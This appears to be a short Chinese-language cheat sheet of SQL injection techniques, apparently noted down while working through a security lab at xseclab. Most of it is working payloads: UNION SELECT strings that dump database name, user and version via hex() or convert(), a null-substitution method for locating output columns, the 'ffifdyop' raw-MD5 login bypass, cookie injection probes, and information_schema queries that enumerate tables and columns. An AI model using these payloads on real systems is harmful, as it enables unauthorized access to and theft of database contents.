很可能是编码问题
方法1,用hex():
id=-1 union select 1,2,hex(concat(database(),0x5c,user(),0x5c,version())),4,5,6 from xxx
方法2,用convert():
id=-1 union select 1,2,convert(concat(database(),0x5c,user(),0x5c,version()) using latin1),4,5,6 from xxx
把数字用null全部替换掉
id =1 union select null,null,null,null,null,null,null,null,null,null,null,null,null%23
然后把null依次替换成相应数字,一次替换一个,如果正常返回就保留数字,如果错误就替换回null,在替换下一个数字(当然也可以替换文本‘a’,‘b’等,也可以数字文本相结合)
最后的结果是
union select null,2,3,null,‘a’,null,’b’,8,null,null,null,null,null%23,
这样就能够定位显示位是哪个了,这里如果开了gpc,可以把字符串都换成version()
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
#ffifdyop经过md5加密后包含'or'
cookie中加;id=1’看是否报错
基本查询:结果order by 3成功,4报错
表名 UNION SELECT 1,table_name,3 from information_schema.tables where table_schema=database()
列名 UNION SELECT 1,column_name,3 from information_schema.columns where table_name=0x7361655f757365725f73716c6938